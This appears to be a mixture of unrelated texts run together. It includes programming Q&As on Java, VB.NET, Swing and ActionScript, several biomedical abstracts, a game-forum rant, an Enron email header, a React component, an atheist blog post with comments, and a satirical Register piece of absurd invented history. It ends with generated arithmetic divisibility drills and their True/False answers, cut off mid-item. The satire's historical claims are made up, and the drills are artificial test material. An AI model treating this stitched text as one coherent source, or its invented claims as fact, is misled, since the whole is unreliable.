Q: Averaging BigDecimals using Streams API Collectors Current approach based on double type of product prize. public Map<String, BigDecimal> averageProductPriceInCategory() { return shopping.entrySet() .stream() .flatMap(e -> e.getValue().keySet().stream()) .collect(Collectors.groupingBy(Product::getCategory, Collectors.averagingDouble(Product::getPrize))); } shopping is basically a map: Map<Client, Map<Product,Integer>>, The outer Key represents the Client The inner Key represents the Product. Product class members are name, category, price (previously of double type) - want to refactor the provided code into one using price as a type of BigDecimal the inner maps value (Integer) reprents the number of specified product which belong to a specific client Below snippet can be used only for calculating the total prize of products which belong to a specified category. Not sure, how to calculate the average products prize in regards to category with using BigDecimals Map<String, BigDecimal> totalProductPriceInEachCategory = shopping.entrySet().stream() .flatMap(e -> e.getValue().keySet().stream()) .collect(Collectors.groupingBy(Product::getCategory, Collectors.mapping(Product::getPrize, Collectors.reducing(BigDecimal.ZERO, BigDecimal::add)))); A: Take a look at how Collectors.averagingDouble or Collectors.averagingInt is implemented. public static <T> Collector<T, ?, Double> averagingInt(ToIntFunction<? super T> mapper) { return new CollectorImpl<>( () -> new long[2], (a, t) -> { a[0] += mapper.applyAsInt(t); a[1]++; }, (a, b) -> { a[0] += b[0]; a[1] += b[1]; return a; }, a -> (a[1] == 0) ? 0.0d : (double) a[0] / a[1], CH_NOID); } Essentially, you need a mutable accumulation type that would hold a BigDecimal which is a sum of product prices, and an int which is a number of products processed. Having that, the problem boils down to writing a simple Collector<Product, AccumulationType, BigDecimal>. I simplified an example and removed getters/setters and an all-args constructor. Instead of a nested class ProductPriceSummary, you might use any mutable holder class for 2 elements. class AverageProductPriceCollector implements Collector<Product, AverageProductPriceCollector.ProductPriceSummary, BigDecimal> { static class ProductPriceSummary { private BigDecimal sum = BigDecimal.ZERO; private int n; } @Override public Supplier<ProductPriceSummary> supplier() { return ProductPriceSummary::new; } @Override public BiConsumer<ProductPriceSummary, Product> accumulator() { return (a, p) -> { // if getPrize() still returns double // a.sum = a.sum.add(BigDecimal.valueOf(p.getPrize())); a.sum = a.sum.add(p.getPrize()); a.n += 1; }; } @Override public BinaryOperator<ProductPriceSummary> combiner() { return (a, b) -> { ProductPriceSummary s = new ProductPriceSummary(); s.sum = a.sum.add(b.sum); s.n = a.n + b.n; return s; }; } @Override public Function<ProductPriceSummary, BigDecimal> finisher() { return s -> s.n == 0 ? BigDecimal.ZERO : s.sum.divide(BigDecimal.valueOf(s.n), RoundingMode.CEILING); } @Override public Set<Characteristics> characteristics() { return Collections.emptySet(); } }

A rapid and sensitive immunosorbent assay for urinary albumin. We describe a fast, simple and sensitive microtiter scale competitive ELISA for the determination of urinary albumin. All reagents are commercially available. In the standard procedure, a minimum concentration of 0.8 mg albumin/L can be measured, although, applying another dilution, 0.04 mg/L can be detected. Within-batch coefficient of variation was 6.9% and 5.6% (at 1:20 and 1:50 dilution, respectively); between-batch variation was 8.6% and 5.6% respectively. The influence of urine pH and other urine components is minimised in the assay diluting with a casein-containing buffer.

[Analytical microelectrophoresis of cells and the means for using it in oncological research]. Analysis of data on the study of electrophoretic cell mobility in the field of oncology is reviewed. Much attention is paid to the application of cell surface phenomena for the development of different diagnostic methods, especially for immunological diagnosis of cancer.

Clostridium difficile infections (CDI) have become more difficult to treat due to the rise of hypervirulent strains that have increased morbidity as well as mortality and the likelihood of persistence and relapse in infected patients. To address the dire need for new anti-difficile agents, we explored the premise that nature utilizes good bacteria (i.e. probiotics), including Lactobacillus spp., to suppress gut pathogens such as C. difficile by producing novel antimicrobials, which were optimized by evolution to the microenvironment of the gut. In this regard, we explored the potential for developing reutericyclin from Lactobacillus reuteri as a natural anti- difficile agent. Probiotics are emerging as alternate treatments for CDI. However, there is ongoing debate on whether live probiotics may be used treat severe CDI, especially in immunocompromised patients. We therefore hypothesize that developing the antimicrobial produced by the probiotic specie would harness one of its natural therapeutic properties for localized killing of C. difficile in the gut, providing a more reliable and efficacious treatment strategy. Application of this concept to our studies on reutericyclin revealed that it has impressive antimicrobial and pharmacological properties for treating CDI. These include: rapid killing of nongrowing, toxin- producing stationary phase C. difficile;a novel mechanism of action specific to the bacterial membrane;a narrow spectrum of activity;lack of cytotoxicity against gut epithelia;stability to proteolysis;ability to achieve high non- absorbed concentrations in gut for killing;a low molecular weight and ease of synthesis that will allow advanced chemical optimization. Importantly, the killing of toxin-producing stationary phase cells is not shown by currently prescribed antibiotics vancomycin and metronidazole, which only kill actively growing C. difficile. We believe that this proposal for developing probiotic-derived reutericylcin derivatives to treat CDI is highly innovative and will be achieved through three iterative aims: (i) Synthesis of an expanded sets of reutericyclin analogs to optimize anti-difficile activity and increase affinity for the membrane target site;(ii) Lead development and characterization involving the stepwise progression of compounds through three stages of tests that include antimicrobial assessment, pharmacokinetic testing, toxicologic and in vivo efficacy experiments. Compounds meeting the selection criteria of the tests will move onto the next stage such that a lead candidate is obtained with potent in vivo efficacy and excellent safety profile;(iii) Mode of action studies to explore the fundamental antibacterial effects of targeting the clostridial membrane. The long-term goal of this project is to develop optimized lead analogs of probiotic derived reutericyclin that exhibit novel modes of action at the membrane target and have characterized antibiotic properties that would allow their progression into advanced preclinical studies as candidates for treating CDI. PUBLIC HEALTH RELEVANCE: There is a need for novel treatments for Clostridium difficile infections, which are now a major cause of morbidity and mortality among elderly patients in hospital settings in the United States. To address this need, we propose to optimize and develop derivatives of the probiotic-derived reutericyclin that is obtained from Lactobacillus reuteri. Because these agents rapidly kill C. difficile they may prevent the relapse of infection.

Q: VB.NET excel deleting multiple columns at the same time I am trying to delete more than one column in my excel sheet. For Each lvi In ListView1.Items If lvi.Checked = True Then arrayLetters = lvi.SubItems(1).Text & ":" & lvi.SubItems(1).Text & "," & arrayLetters End If Next arrayLetters = arrayLetters.Substring(0, arrayLetters.Length - 1) Dim rg As Excel.Range = xlSheet.Columns(arrayLetters) rg.Select() rg.Delete() The value of arrayLetters is "G:G,F:F". For some reason that doesn't seem to work once it gets there to delete them! Only reason i am doing it this way is so that it doesn't update the table and loop to the other one. In other words, if i delete each one individually then the column moves and the letter will not be the same the next go around. The error is on the Dim rg As Excel.Range = xlSheet.Columns(arrayLetters) line and it says: Type mismatch. (Exception from HRESULT: 0x80020005 (DISP_E_TYPEMISMATCH)) Any help would be great! David SOLVED For Each lvi In ListView1.Items If lvi.Checked = False Then arrayLetters = lvi.SubItems(2).Text & "," & arrayLetters 'Puts numbers in BACKWORDS End If Next arrayLetters = arrayLetters.Substring(0, arrayLetters.Length - 1) Dim theNumbers As String() = arrayLetters.Split(",") Dim num As Integer = 0 xlApp.ScreenUpdating = False For Each num In theNumbers xlSheet.Columns(num).delete() 'Deletes columns in reverse order (7,5,4...) Next A: Just delete the lowest numbered column N number of times to reflect how many columns in a row you want to delete. It's better to go off of column numbers rather than letters when dealing with Excel programatically. If you need a code example, let me know and I'll post one. Edit: Here is a code example that does what you want: xlSheet.Columns(i).delete

Synthesis and properties of oligodeoxyribonucleotides bearing a polyamino group at the 2' position via 2'-O-carbamoylmethyl and 2'-S-carbamoylmethyl groups. An oligodeoxyribonucleotide containing 2 '-O-methoxycarbonylmethyluridine was synthesized and converted into several 2 '-modified oligodeoxyribonucleotides by a postsynthetic modification method. Using this method, oligodeoxyribonucleotides bearing a polyamine at the 2 ' position were easily prepared, which could form duplexes with either complementary DNA or RNA.

Q: deadlock and mutual exclusion Two processes X and Y need to access a critical section. Consider the following synchronization construct used by both the processes. http://d18khu5s3lkxd9.cloudfront.net//wp-content/uploads/2015/02/Q20.png In the link given above, varP and varQ are shared variables and both are initialized to false. Which one of the following statements is true? 1.The proposed solution prevents deadlock but fails to guarantee mutual exclusion 2.The proposed solution guarantees mutual exclusion but fails to prevent deadlock 3.The proposed solution guarantees mutual exclusion and prevents deadlock 4.The proposed solution fails to prevent deadlock and fails to guarantee mutual exclusion According to the question setter 4th answer is the correct answer. I have figured that it fails to guarantee mutual exclusion but how does it fails to prevent deadlock? A: I came up with this after studying the algo carefully. Say process Y has used the Critical Section.Therefore,it must have set VarQ variable as false. Now if Process X tries to enter Critical Section.It can never enter unless Process Y also tries to enter.Reason being the condition while(varQ == true) will remain false unless Process Y tries to enter Critical Section and in doing so sets VarQ to true which before leaving Critical Section(CS) it had set to false. So as we can see if Process Y does not tries to enter CS,Process X is indefinitely blocked and also the Critical Section is lying unused. But the question still remains that how is lack of starvation freedom leading to lack of deadlock freedom.In deadlock every process is blocked,but if Process Y indeed tried to enter CS again,Process X could have been successful in its attempt to enter CS.

Q: Some Swing Components not showing on JFrame I've got a serious problem. When I try to add 2 JRadioButtons and a JLabel on my JFrame, it doesn't work. They are not showing, but other elements do. The funny thing is, that other components which I added before (also JLabels) are visible on the JFrame. All swing components are added over a container 'panel' which is the content pane of the JFrame. I'm using Java DK 7 u67. Here's the code: (Scroll down to /*This code doesn't work */) public class UDP_FileTransfer implements KeyListener, Runnable { JFrame fenster; Container panel; JButton startBt, setPathBt; JTextField portFeld, ipFeld, savePathFeld; JLabel infoLbl, serverLbl, clientLbl; JRadioButton server, client; boolean typeIsServer = true; int port = 4444; long size = 0; boolean serverStarted; public static void main(String[] args){ new UDP_FileTransfer(); } public UDP_FileTransfer(){ fenster = new JFrame(); fenster.setLayout(null); fenster.addKeyListener(this); fenster.setTitle("UDP File Transfer - Server"); fenster.setLocationRelativeTo(null); fenster.setResizable(false); fenster.setSize(400,150); panel = fenster.getContentPane(); panel.setLayout(null); panel.addKeyListener(this); JLabel portLbl = new JLabel("Port: "); portLbl.setBounds(10,10, 50,20); panel.add(portLbl); ... ... ... infoLbl = new JLabel("Status: Starten Sie den Server zuerst!"); infoLbl.setBounds(10, 70, 371,20); infoLbl.setBorder(new LineBorder(Color.black, 1)); panel.add(infoLbl); /* This code doesn't work */ JLabel typeLbl = new JLabel("Wählen Sie den Typ aus:"); typeLbl.setBounds(10,125,200,20); panel.add(typeLbl); client = new JRadioButton("Client"); client.setBounds(230,125,70,20); panel.add(client); client = new JRadioButton("Server"); client.setBounds(320,125,70,20); panel.add(client); /* End of non-working code */ fenster.setVisible(true); fenster.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); The GUI looks like this: Click me The JRadioButtons client & server and the JLabel typeLbl should appear under the box with the border. I hope one of you can help me ... A: Firstly, you should change your latter variable to server. client = new JRadioButton("Client"); client.setBounds(230,125,70,20); panel.add(client); server = new JRadioButton("Server"); server.setBounds(320,125,70,20); panel.add(server); and change your frame size frame.setSize(450, 175);

Hello everyone. For those who don't know me I am Majoria in the game and always happy to help anyone. I've been Here since Nov 2013 rallying for this game. The last two months though I've been away from the game helping my sisters take care of my ailing mom and spending time with her. So I am back to rally one more time hard for this game. Now for any who take my rant/discussion as it being about fishing or any particular game feature instead of all of them you would be wrong. That is not the point of this thread. IT'S NOT ABOUT FISHING. ITS ABOUT QUALITY AND FOCUS TO GET THESE SYSTEMS DONE. ITS ABOUT PROOF THAT THIS IS GOING TO HAPPEN. THE TIME IS NOW. The announcement for fishing will come on the September 7th Livestream and I want to hear that it will be a full featured update deserving of this game and that the next update could be cooking, agriculture, taming, bosses would be announced and that it will also be completed and deserving of this game. Rally communinty with me for all systems in this game. Say it now, say it loud. Please. Some may not agree and may think it is ok to just have so so systems in the game and get excuse after excuse for this but I am not one of them and I am tired truly from years and years of this and hearing we are now at the last 20 percent and now is the time, well prove it Devs without sensationalized distractions from that focus. So here is perhaps a last push from me for updates that have been let go of year after year. @DarkStarr, @Undone, @Chris, @Lord British, @Chaox, @Scottie, @dallas, @oneandonly, @Sannio, @Ikas, @BurningToad @Menja. @anyone still here to listen and who will listen. Come on Put fishing updates back on the standup notes listing work being done. There is much to do. Get er done. Ok So lets continue. The fishing update I will expect will include: -MANY TYPES OF FISH ALL OVER THE MAPS REQUIRING DIFFERENT BAIT TYPES, TYPES OF WATER, AND FISH WILL HAVE DIFFERENT WEIGHTS and THEY REQUIRE DIFFERENT LURES AND POLES AND POLES HAVE DIFFERENT LINE WEIGHT TO CATCH BIGGER FISH. -NEW FISHING ANIMATIONS. I would expect a full update to give the system its features and get it done with and I am expecting that as we tick off each game system one by one. REWARDS FROM THE MERCHANTS COULD BE SOME RARER FISH BAIT, SPECIAL POLES THAT COULD CATCH A HEAVIER FISH, LURES, BOBBERS, ETC. FISHING THINGS. THIS QUEST COULD BE RANDOMIZED TO CHANGE OUT BUT ALWAYS BE AVAILABLE TO ENTICE FISHERMAN TO FISH. WE GET NEW RECIPES FOR FISH OF A HIGHER TIER AND FISHING MERCHANTS OFFER A DAILY QUEST TO ENTICE PLAYERS TO SEARCH OUT ALL THESE NEW FISH and cook them(hint hint for in game achievements)REWARDS FROM THE MERCHANTS COULD BE SOME RARER FISH BAIT, SPECIAL POLES THAT COULD CATCH A HEAVIER FISH, LURES, BOBBERS, ETC. FISHING THINGS.THIS QUEST COULD BE RANDOMIZED TO CHANGE OUT BUT ALWAYS BE AVAILABLE TO ENTICE FISHERMAN TO FISH.

MathLink is a Math enrichment program at Carleton University, which started in 2006. MathLink will give an opportunity for the high school students to explore mathematics beyond the school program. The target age group is grades 9 and 10, but anyone with interest in mathematics may participate. We will explore various topics in mathematics including: Sequences Combinatorics Probability Geometry Logic Mathematical games Each session will begin with a lecture, followed by a problem-solving session. The problems we consider will be on the topic of the lecture. Once in a while, there will be special lectures given by professors at Carleton's School of Mathematics and Statistics. We will also be working on olympiad-style problems (at appropriate level). Why should you participate? This program is oriented towards the students who already do well in high school math. Its goal is to ensure that these students succeed and excel in mathematics courses at the University level. If you plan to enter a University to study mathematics, science or engineering, MathLink will be beneficial for you. And finally, we do math because we like it!

---------------------- Forwarded by Phillip M Love/HOU/ECT on 06/07/2000 06:35 PM --------------------------- Enron Capital Management From: David Baumbach 05/03/2000 07:30 AM To: Frank Cernosek/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT cc: Troy Klussmann/HOU/ECT@ECT Subject: Intra Texas 0400 Liquidations Price 771947 Basis 771948 GD 771976

Ticks on pastures and on two breeds of cattle in the Eastern Cape province, South Africa. Many studies on the population dynamics of questing ticks on pastures and of parasitic ticks on cattle have been conducted. Few, however, have attempted to link the two in a single study. This study aimed to assess the population dynamics of questing ixodid ticks on pastures and of adult ticks on two breeds of cattle with different levels of susceptibility to tick infestation on the same pastures. Between January 2005 and December 2009 questing ixodid ticks were collected monthly from natural pastures at the Döhne Agricultural Development Institute and at the adjacent Campagna Production System in the Amahlathi District, Eastern Cape province, South Africa. Between February 2007 and January 2010 adult ticks were collected monthly from Bonsmara and Nguni cattle grazing these pastures. Ten tick species were collected from the pastures and 12 from the cattle. Significantly more questing larvae of Rhipicephalus appendiculatus, Rhipicephalus decoloratus, Rhipicephalus evertsi evertsi and Rhipicephalus microplus were recovered from the pastures grazed by Bonsmara cattle than from those grazed by Nguni cattle (p ≤ 0.05). Significantly more adult Hyalomma rufipes, Rhipicephalus follis, R. appendiculatus, R. decoloratus, R. evertsi evertsi and R. microplus were collected from the Bonsmara cattle than from the Nguni cattle (p ≤ 0.05). The study showed that Nguni cattle are less susceptible to tick infestation than are Bonsmara cattle and fewer questing ticks are collected from pastures grazed by Nguni cattle than by Bonsmara cattle.

import { Trans } from "@lingui/macro"; import * as React from "react"; import ConfigurationMap from "#SRC/js/components/ConfigurationMap"; import ConfigurationMapHeading from "#SRC/js/components/ConfigurationMapHeading"; import ConfigurationMapLabel from "#SRC/js/components/ConfigurationMapLabel"; import ConfigurationMapRow from "#SRC/js/components/ConfigurationMapRow"; import ConfigurationMapSection from "#SRC/js/components/ConfigurationMapSection"; import ConfigurationMapValue from "#SRC/js/components/ConfigurationMapValue"; import Loader from "#SRC/js/components/Loader"; import StringUtil from "../../../../../src/js/utils/StringUtil"; const Loading = () => <Loader size="small" type="ballBeat" />; const ConfigurationRow = ({ keyValue, title, value }) => ( <ConfigurationMapRow key={keyValue}> <ConfigurationMapLabel>{title}</ConfigurationMapLabel> <ConfigurationMapValue> <span className={value.classNames}> {StringUtil.capitalize(value.title)} </span> </ConfigurationMapValue> </ConfigurationMapRow> ); const NonLeader = ({ master }) => ( <ConfigurationRow keyValue={master.host_ip} title={master.host_ip} value={master.healthDescription} /> ); const EmptyLeaderList = () => ( <Trans render="div" id="There are no more known masters in this cluster." /> ); const NonLeaderList = ({ masters }) => { if (masters.length === 0) { return <EmptyLeaderList />; } return ( <ConfigurationMapSection> {masters.map((master) => ( <NonLeader key={master.host_ip} master={master} /> ))} </ConfigurationMapSection> ); }; export default function NonLeaderGrid({ masters }) { const hasMasters = Array.isArray(masters); const content = hasMasters ? ( <NonLeaderList masters={masters} /> ) : ( <Loading /> ); return ( <div className="container"> <ConfigurationMap> <ConfigurationMapHeading className="flush-top"> <Trans render="span" id="Non-Leaders" /> </ConfigurationMapHeading> {content} </ConfigurationMap> </div> ); }

Post navigation New Times Article: Performance Atheist I would like to encourage all of our readers in Phoenix to pick up a New Times this week. It’s got great pictures and an overall good story, but I would also like to give a little bit of a response and clarification on a few issues. I do understand that they took a particular interest in Omar. He is an interesting, well spoken and good looking guy with a good story to tell, so the fact that the rest of us are a bit buried in the article is alright. What I don’t like is the Secular Free Thought Society (and me in particular) being painted as the villains and unwanted hangers-on who followed Omar down to Mill like lost puppies. As Omar knows, but apparently Niki forgot, the Mill Avenue Resistance started when I started visiting Mill on a regular basis and arguing with preachers by myself. I believe it was the first night of doing that when I met a former street preacher named Emmanuel who was also having one on one discussions with preachers, and the initial group was formed. Shortly after that I started making tracts to pass out and Emmanuel and I started talking to passers-by as well as the preachers, but it wasn’t until about two months later when Omar showed up with his megaphone that we were really able to make a difference in what the preachers were doing. Omar and Jim have played an important part in the development of the Mill Avenue Resistance, intentionally or not, but we are not his groupies. We are out there every week, whether or not Omar is around. Just to be clear, Emmanuel and I started going out there individually at first, and Omar and Jim showed up independently as well. None of us followed any of the others down there, and in fact with Emmanuel and I not having a speaker yet, Omar and Jim didn’t even notice that we were there the first night they came out. We definitely noticed the megaphone though. Since then we have developed in parallel. I have always considered Omar and Jim to be somewhat peripheral members of the group, but they have seen themselves as more independent. Either way you look at it though, although I respect them and value their contributions to what I see as the betterment of Mill Avenue, I am not and never have been either following or intentionally interfering with Omar and Jim. Historically, the Mill Avenue Resistance goes where the preachers go, and it is generally the same for Omar and Jim. For the most part this has not been a problem, particularly since most of us were using similar methods most of the time, but as we have more and more people wanting to speak, and as some of us begin to change our ideas about the most effective ways of accomplishing our goals, there is some friction. We are doing our best to resolve these issues and get everyone back on the same page again though. It is not a situation where one brilliant man must shake off the chaff and let his singular glory shine through, it is a situation where many people with similar goals are attempting to do similar things in the same place, but not everything is meshing as well as it could at times. As far as I can tell though, there is no animosity between any of us, and I am confident that the issues which we have will be resolved to the satisfaction of nearly everyone involved. Another problem I saw in the article was that I am not the founder of the Secular Free Thought Society of ASU. I do have a strong connection with the group, and I did help bring together the people who re-formed it (although Brother Jed deserves more credit for that than I do), but betterthanfaith.com and the Mill Avenue Resistance are the only things I can claim credit for starting myself. Finally I would like to clarify (or un-clarify) what my intention is on Mill. Jim sees it more as an art project, and Omar may see it that way too. To an extent I see it that way, but I don’t have a singular reason for being there or one way of looking at it. If I have to pick something though, I see it mostly as an educational exercise. I want to share what I know about the world and religion in particular, and I want to add to that knowledge by learning from anyone who wants to talk to me. I do want people to know the whole truth about the Bible and the things the preachers are saying, and I do hope that the things I tell them will make them think and do more research, but after that it is up to them. I am only trying to convert people to atheism inasmuch as I am trying to present the facts and opinions that have led me to my own disbelief. There are some other minor mistakes related to me, the SFTS and the preachers in the article, but they’re probably not worth mentioning. Basically I see it as a good article about Omar and a somewhat less accurate and fair article about the rest of us. I understand though that the author can only report it the way she sees it, and conflict helps the story, so we get stuck playing the villains a bit. If it helps with what we’re doing though, then I’m willing to take the hit, and Niki, you’re still welcome to come hang out with us any time. Congratulations on the overall good article and very amusing pictures Omar! About Kazz My name is Shawn Esplin and I am an advocate of Free Thought and general good sense and thought in general. To that end, I encourage people to seriously question the things that they have been taught, especially as children, because many of these things - religious and secular - are taken on faith until we actively choose to seriously examine them for ourselves. This is a pretty good article about Omar and yes, I definitely see glimmers of hero worship here. Omar’s performances are definitely creative and thought provoking. Amerist: I think the shots are from a professional studio session specifically for the article. Other than some minor issues of not getting the who, what, when, where, why and how facts straight, I guess my biggest grievance is her portrayal the SFTS. As he states here, Shawn is not the leader of this group, but the Mill Ave Resistance and BetterThanFaith.com were his creations. He would hesitate to call himself the leader even of the Resistance; but apparently there is a lack of leadership here that he or someone needs to step up and deal with. The reporter tries hard to reinforce the differences in appearances and associate them with intent. SFTS is shown as a bunch of in-your-face douchebags who love death metal and dress like hobos; therefor they’re a rude and anarchistic bunch of thugs to those to whom they “preach”. I find it funny that she mentions Dunkin’ Donuts so much…. especially since she brought the donuts in the first place. Describing the resistance as a “chaotic club party” where things get “out of control” and “disintegrate into anarchy” may be a fair assessment from her point of view and that is something to think about. Putting Shawn as the “leader” of this rag-tag group she describes really pisses me off and I’m not sure if it was because Shawn was the willing patsy she was looking for or if nobody else would talk to her. Maybe she just wanted to use him to show conflict between the artist and the rabble “wanna bes”. I know he put a lot of time and effort into putting things together for her for this story, and to be characterized so unflatteringly is really insulting. It’s especially infuriating because I don’t think Shawn is out there trying to convert people to atheism and the way she portrays him as a gigantic wiener who has no control over “his” group infuriates me. The way it’s written it makes it look like Omar is embarrassed by the SFTS and does not want to be associated with them. With the way the group is described in the article, I wouldn’t want to either. So I guess enough bitching about the slant in the article. What needs to be done straight away is make changes that put SFTS in a much better light. I don’t think this means suits and ties, but it probably means not screaming at the preachers and turning things into a circus sideshow. Maybe put a damper on the death metal. Maybe be better organized. Maybe do something positive and support some local charities. Do SOMETHING besides showing up on Friday and Saturday nights to shout at the preachers.

Reading from Warwick moves to Szechwan Szechwan Publishing is proud to announce that Kevin Reading, Professor of Cybernetics and Self-Publicity at Warwick University, has joined the Register's elite team of writers as resident futurologist. Prof Reading needs no introduction to those who know him. For the benefit of those who have yet to experience the clarity, incisiveness, intelligence and above all space-filling qualities of his work, here are a few highlights: 150 AD Prof Reading presents the keynote address at the Ptolemy Astrological Academy in Alexandria. He asserts that the world is flat and that in less than two thousand years, machines will be built with the power to rearrange playing cards, provide musical entertainment without payment of dues to the Guild of Minstrels, and to make elementary errors in calculation - a prediction that he dubs the 'FDIV' effect. He also claims to have invented a time machine and advised aliens on how to build the pyramids. 1066 Kevin advises King Harold Godwinson of England to keep his eye on the growing threat of invasion by William the Bastard of Normandy. Harold takes his advice all too literally. Kevin also acts as consultant to aliens from the planet Tharg who plan to set up twin universities at the great cities of Warwick and Reading. 1584 A 20-year-old playwright called William Shakespeare is advised by Reading to undertake perhaps his greatest work - Kevin, Prince of Cybernautia. Sadly this masterpiece is lost when Shakespeare, in a moment of madness, burns the folio and threatens Kevin with death should he ever bother him again. 1933 In February, Reading is invited to dinner at the Reichstag in Berlin to demonstrate his latest electronic creation, the artificial ego. This now legendary device has the capacity to increase the size of an ordinary human ego by over 2000 times. Unfortunately the prototype overheats and the building is burned to the ground. 1963 On a visit to Dallas, Kevin is shocked to hear that thousands of unsold copies of his definitive study of genius Bloody Hell, is that Kevin Reading a clever bloke or what?, lie unsold in the Texas State Book Depository. A misunderstanding leads to a scuffle with an armed security guard and a stray shot hits the occupant of a passing car. 1971 Kevin meets Bob Noyce in a sleazy bar in California. As a result of the conversation, Noyce sketches out the basic design for the 4004 microprocessor on the back of a waitress using a ballpoint pen. The waitress contracts blood poisoning and sues Intel for damages. With the substantial sum awarded by the court, the waitress sets up Advanced Micro Devices. ®

Q: Preventing intersections in graphics from cancelling eachother out - Actionscript When drawing multiple shapes on a Graphics object in Actionscript intersections cancel eachother out. Is there any way to disable this default behaviour? I could simple use the beginFill() and endFill() methods in between drawing shapes. The problem with this approach for me would be that each of the shapes will 'blend together' whenever i set the value of the alpha property to anything other then 1. Basically what I want is 1 solid drawing consisting of different shapes (circles for example), so that when the alpha value is changed the different parts of this drawing should not become visible. The following approaches did not work: -2 circles are drawn but the intersection is cancelled out var solidShape = new Sprite(); solidShape.graphics.beginFill(0xFF0000) solidShape.graphics.drawCircle(0,0,100) solidShape.graphics.drawCircle(0,50,100) solidShape.graphics.endFill() -2 circles are drawn correctly, but they become visible when i change the alpha value var solidShape = new Sprite(); solidShape.graphics.beginFill(0xFF0000) solidShape.graphics.drawCircle(0,0,100) solidShape.graphics.endFill() solidShape.graphics.beginFill(0xFF0000) solidShape.graphics.drawCircle(0,50,100) solidShape.graphics.endFill() solidShape.alpa = 0.5 A: Easiest way would be to draw each shape in a separate DisplayObject, like so: var shapes:Sprite = new Sprite(); var shape:Shape = new Shape(); shape.graphics.beginFill(0xFF0000); shape.graphics.drawCircle(0,0,100); shapes.addChild(shape); shape = new Shape(); shape.graphics.beginFill(0xFF0000); shape.graphics.drawCircle(0,50,100); shapes.addChild(shape); shapes.alpha = 0.5; shapes.blendMode = "layer"; If you're trying to do it with a single object (like a user drawn shape that intersects itself), RC's answer will suit your needs much better.

a factor of j(2)? True Let c(x) = 6*x + 6. Let u be c(8). Suppose w - 4*n = -w + 100, -2*n = w - u. Does 13 divide w? True Let s(q) = -q**2 - q + 44. Let g(w) = 5*w**2 + 5*w - 175. Let r(a) = 2*g(a) + 9*s(a). Let i be r(0). Suppose -5*u = i - 176. Is 13 a factor of u? True Let u = 25 - 21. Suppose -u*j + 48 = -8. Is j a multiple of 14? True Let f be (-1)/2 - 1/2. Is (-81)/(f - 2) - -1 a multiple of 14? True Suppose -3*t = -0*t - 5*u + 8, 4*u = -4*t. Let y(k) = -22*k**3 + k**2 + k. Does 11 divide y(t)? True Suppose 0 = 3*i - 0*i + 96. Let n = i + 45. Is 5 a factor of n? False Let h(k) = -k**3 - k**2 - k + 22. Let z(l) = l - 4. Let o be z(4). Is h(o) a multiple of 22? True Let l be -3*(-2 + (-16)/(-6)). Let g be -2 + 1*1*-1. Does 3 divide g/(l - 3/(-2))? True Suppose -14*r + 1334 = 354. Does 13 divide r? False Let o(i) = -i**2 + 14*i - 3. Is 12 a factor of o(5)? False Suppose -4*q + 0*q = -3*a + 65, 4*a - 35 = -5*q. Let p = a - 5. Does 10 divide p? True Let p(h) = -h**2 + 7*h + 2. Suppose 0 = 3*m + c + 4, 2*m + 2*m - 16 = 4*c. Suppose m - 16 = -4*k. Does 7 divide p(k)? True Let c = -1 - -6. Suppose -b - 4*o = -4, -c = -3*b - o - 4*o. Suppose 0 = 2*u - y - 22 - 12, -u + 2*y + 17 = b. Does 17 divide u? True Suppose 0 = -3*b + 5*a + 37, b = 3*b + 4*a + 12. Let o be 492/156 - (-4)/(-26). Suppose -p + b - 19 = -2*y, -o*p + 9 = 0. Does 9 divide y? True Suppose -10 - 22 = 4*m. Suppose 3*y + 215 = 3*x + 2*x, 4*x - 2*y = 170. Let w = x + m. Does 14 divide w? False Let p(f) = f**2 - 12*f + 12. Let s be p(10). Let y(n) = -n**2 + 0 - 10*n - 5 + 1. Does 6 divide y(s)? True Suppose 15*b + 292 = 19*b. Is b a multiple of 13? False Let s(i) = i**3 - 5*i**2 - 2*i - 5. Let l be s(6). Let c = 11 + l. Is 10 a factor of c? True Is (-2)/(-5) - (-456)/10 a multiple of 18? False Suppose -3*a + 189 + 294 = 0. Is 23 a factor of a? True Let o be 0/(-5 + 3 + 3). Suppose o*j = 3*j - 75. Is j a multiple of 12? False Let y be ((-9)/4)/(3/(-12)). Does 12 divide (180/25)/(y/60)? True Let g = -10 - 2. Let b = g + 17. Is 2 a factor of b? False Let x(l) be the first derivative of l**4/4 - 10*l**3/3 + 14*l - 6. Does 3 divide x(10)? False Let u be (17/(-2))/(1/(-2)). Suppose 2*q = -4*g + 21 + 5, q + 3*g - u = 0. Suppose -5*k = -2*k - 3*h - 51, 2*k - q*h = 28. Is k a multiple of 9? False Let u = -4 + -17. Let b be ((-1)/(-3))/((-1)/u). Let t = b + -4. Does 3 divide t? True Suppose 4*g = 463 + 353. Is g a multiple of 34? True Let r(d) = -15*d + 4. Let x be r(-4). Suppose -4*u + x = 240. Let m = -27 - u. Does 7 divide m? False Suppose -190 = -h - 2*h + m, 4*m = -5*h + 328. Does 16 divide h? True Suppose -h = 4*y - 23, 3*h - 8 - 1 = 0. Let i(b) be the first derivative of b**4/4 - 2*b**3 + 7*b**2/2 - 5*b + 5. Is 2 a factor of i(y)? False Let m(u) = -u**3 + 2*u**2 - 4*u. Is m(-3) a multiple of 18? False Let d = 93 - 57. Is 4 a factor of d? True Is -3 - (0 + (-1 - 218)) a multiple of 29? False Suppose 5*l + 15 = -3*p, 2*l + 5*p + 25 = -l. Suppose l*f + f + 5*c = 30, -3*c = f - 20. Is f a multiple of 4? False Let s be -30*-1*(-2)/(-6). Suppose -3*o + s = -o. Is 5 a factor of o? True Suppose -4*z = y - 80, -z + 4*z = y + 53. Suppose 1 = -t + 3. Suppose -r + t + z = 0. Is 15 a factor of r? False Let d be (-2)/7 + 191/7. Suppose 4 = -p + s, -15 = 2*p - 3*s + 8*s. Is 8 a factor of (p - -3)*d/(-6)? False Suppose 2*z + 9 = -z, -4*z = -o - 10. Let f = 33 + o. Is f a multiple of 8? False Let s = -263 - -413. Is s a multiple of 10? True Let w(j) = 5*j**3 - j**2 + 2*j - 1. Let p be w(1). Let o = 12 - 12. Suppose -z + o = -p. Is z even? False Does 9 divide 4/10*(172 + 5 + 3)? True Let j(c) = 7*c**2 - 1 + 6 + 9*c + c**3 + 6*c**2. Is 13 a factor of j(-12)? False Suppose 2*m + 3*m - 15 = 0. Suppose -4*h + 60 = 5*s, -h = m*s - 3*h - 36. Is 6 a factor of s? True Suppose -5*s - 2 = 18, 4*g - 5*s = 448. Does 6 divide g? False Is 6 - (3 + 0) - -153 a multiple of 26? True Suppose w - 12 + 2 = 0. Let m = w + 14. 